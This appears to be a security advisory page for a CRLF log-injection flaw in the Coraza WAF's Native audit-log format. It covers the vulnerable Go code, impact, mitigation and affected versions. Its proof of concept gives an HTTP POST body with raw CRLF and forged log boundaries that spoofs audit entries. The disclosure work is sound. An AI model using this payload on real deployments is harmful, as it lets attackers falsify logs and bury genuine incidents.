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CVE-2026-41504NVD

Vulnerability Summary

## Root Cause

File: `internal/auditlog/formats.go` — multiple sites write attacker-influenced bytes into the Native audit-log stream without escaping `\r` or `\n`:

```go
// Part B — request headers (lines 72–80)
for k, vv := range al.Transaction().Request().Headers() {
for _, v := range vv {
res.WriteByte('\n')
res.WriteString(k)
res.WriteString(": ")
res.WriteString(v) // ← raw
}
}

// Part C — request body (lines 85–86)
if body := al.Transaction().Request().Body(); body != "" {
res.WriteString(body) // ← raw
res.WriteByte('\n')
}

// Part E — response body (lines 93–94) raw
// Part F — response headers (lines 111–118) raw
// Part H — error messages (line 125) raw
// Part K — matched-rule raw data (line 151) raw
```

The Native format's section structure is line-based: sections are delimited by lines of the form `--<10-char-random-prefix>-<Part>--`, and line-based log parsers / SIEM rules rely on that structure. Any attacker-controlled bytes containing `\n` break the structural invariant and allow the attacker to inject lines that look like genuine audit content.

The other two Native-format implementations in Coraza are not affected: the JSON formatter (`formats_json.go`) and the OCSF formatter both round-trip values through `json.Marshal`, which escapes `\r` and `\n`.

## Impact

An attacker who can land bytes into any of the listed audit-log fields can inject arbitrary lines — including lines that visually resemble new log entries — into the audit log file of a defender running the default `SecAuditLogFormat Native` configuration. Realistic consequences:

- **Forging entries to shift attribution.** An injected line such as `[client "9.9.9.9"] Coraza: Warning. ...` sits alongside genuine matches in Part H, and a human operator (or simple SIEM rule) reading the log cannot tell them apart.
- **Confusing SIEM correlation.** Any ingestion pipeline that splits on `--...-[A-Z]--` boundaries or on `[client "..."]` patterns without validating the session prefix will treat the forged lines as separate records.
- **Breaking log-parsing tooling.** Grep/awk pipelines, log tailers, and log-rotation tools with line-based assumptions can be poisoned with crafted binary sequences.
- **Hiding genuine incidents.** An attacker who can also trigger a rule match on the same transaction (trivial — send any request that matches *any* audit-logged rule) can bury the real match under noise they control.

The forged lines cannot trivially impersonate an entire *separate* session: the 10-char random prefix in the real boundaries (`boundaryPrefix := "--" + utils.RandomString(10) + "-"`, line 42) is not predictable from outside, and each transaction uses a fresh prefix. But the integrity of a *single* record is fully compromised, which is enough for the SIEM-confusion and attribution-shifting attacks.

## Proof of Concept

Server with `coraza.conf-recommended`-style defaults:

```conf
SecRuleEngine On
SecAuditEngine On
SecAuditLogParts ABCFHZ
SecAuditLogType Serial
SecAuditLog /tmp/audit.log
SecAuditLogFormat Native
SecRequestBodyAccess On
SecRule REQUEST_METHOD "@rx ." \
"id:1001,phase:1,pass,log,auditlog,msg:'trigger'"
```

### Body vector — reachable via stock `coraza/v3/http` + `net/http`

Send an ordinary urlencoded POST whose body contains raw CRLF sequences and forged boundaries:

```
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded

evil=benign\r\n--coraza-forged-X--\r\nForgedLine: yes\r\n--coraza-forged-H--\r\n[client "9.9.9.9"] FAKE ATTACK ENTRY
```

Resulting audit.log:

```
--heLNtylvjY-C--
evil=benign
--coraza-forged-X--
ForgedLine: yes
--coraza-forged-H--
[client "9.9.9.9"] FAKE ATTACK ENTRY

--heLNtylvjY-F--
```

The forged `--coraza-forged-X--` / `--coraza-forged-H--` boundaries and the spoofed `[client "9.9.9.9"]` line are structurally indistinguishable from the surrounding genuine log content. No rule fires, no error is raised, the attack is invisible to the WAF.

### Header vector — reachable via non-net/http integrations only

The same effect applies to Part B (request headers) and Part F (response headers) when a header value contains raw `\r\n`. Go's `net/http` rejects such headers at parse time (`400 Bad Request`), so the stock HTTP wrapper is safe from this path; the vector is reachable when Coraza is called with header values that were not validated by `net/http`:

- `coraza-spoa` (HAProxy SPOP agent) forwards headers from HAProxy, which has more permissive validation.
- `coraza-proxy-wasm` / Envoy WASM hosts forward header values from the upstream proxy.
- Custom FFI/WASM hosts and any embedder calling `tx.AddRequestHeader(k, v)` with unvalidated bytes.

Other raw-write sites (Part E response body, Part H error messages, Part K matched-rule data) share the same class of issue and should be fixed together.

## Mitigation

Escape `\r` and `\n` at every raw-write site in `internal/auditlog/formats.go`. A single package-level helper is sufficient:

```go
var logEscaper = strings.NewReplacer("\r", "\\r", "\n", "\\n")

// Part B — header values:
res.WriteString(logEscaper.Replace(v))

// Part F — header values: same
// Part H — error messages:
res.WriteString(logEscaper.Replace(alWithErrMsg.ErrorMessage()))
// Part K — matched-rule raw data:
res.WriteString(logEscaper.Replace(alEntry.Data().Raw()))
```

For Part C / Part E (bodies), the choice is policy-dependent:

- **Escape inline** (`logEscaper.Replace(body)`): keeps the log human-readable for text bodies but loses fidelity for binary.
- **Base64 / hex-encode** the whole part: binary-safe, matches the spirit of ModSecurity v2's binary-log handling, but less human-readable.

Escaping is the minimum; base64 for bodies is the more conservative default and is a reasonable audit-log-default change.

### Additional defensive measure

Consider lengthening the `boundaryPrefix` random suffix from 10 chars to ≥16 chars (line 42). This strictly raises the bar for attackers attempting to *fully* forge a separate-looking session (not just inject lines into the current one). Low-cost change; narrows future variants of this bug class.

## Affected versions

The Native formatter has been present since `v3.0.0` (file existed at the first-release commit). All releases `>= 3.0.0, <= 3.7.0` are affected when `SecAuditLogFormat Native` is used with `SecAuditLogType Serial` or `SecAuditLogType Concurrent`.

**Unaffected:**

- Deployments using `SecAuditLogFormat JSON` (`formats_json.go` uses `json.Marshal` which escapes `\r\n`).
- Deployments using OCSF output.
- Deployments with `SecAuditEngine Off`.

## References

- `internal/auditlog/formats.go` lines 42, 72–80 (Part B), 85–88 (Part C), 93–96 (Part E), 111–118 (Part F), 125 (Part H), 151 (Part K)
- `coraza.conf-recommended` — default `SecAuditLogFormat Native`, `SecAuditLogParts ABIJDEFHZ` / `ABCFHZ` variants
- CWE-117 — Improper Output Neutralization for Logs
- CWE-93 — CRLF Injection
Severity Level
MEDIUM(5.8)
Published Date
Oct 6, 2026
Last Modified
Oct 6, 2026
Exploitation Status
No confirmed exploitation yet
CVE Record Status
Reserved
This CVE ID is referenced in a public advisory, but the CVE Program has not published its official CVE Record yet. Full CVSS/CPE data from NVD will appear here once it does.
EPSS Score (30-Day)
Data Pending
Root Weakness (CWE)
Refer to the official MITRE database for detailed architectural specifications regarding this weakness.
Refer to the official MITRE database for detailed architectural specifications regarding this weakness.
CVSS v3.1 Base Metrics — Score 5.8
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeChanged
ConfidentialityNone
IntegrityLow
AvailabilityNone

Affected & Patched Versions

Affected Versions
  • github.com/corazawaf/coraza/v3 >= 3.0.0, <= 3.7.0
Patched Versions
Not provided by Private for this CVE.
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🎁7-Day Free Trial — Try Pro or Team, no card required.
📧Email Delivery — Threat intel straight to your inbox.
♾️Unlimited Vendors — Track your entire stack.
🚨All New CVEs — Be the first to know.
📈EPSS Spike Alerts — Catch rising risk before it peaks.
🎯Custom EPSS/CVSS — Filter noise, focus on risk.
🛡️Exploit Intel — A 2nd confirmed-exploit signal beyond KEV.
🐙GitHub Issues — Auto-tracked, no duplicates.
📬Weekly Digest — One clean summary, not inbox spam.
🏷️Watchlist Groups — Tag alerts by team (Infra/AppSec/SOC).
💬Webhooks — Slack & Teams integration.
🔀Smart Routing — Critical alerts to one channel, rest to another.
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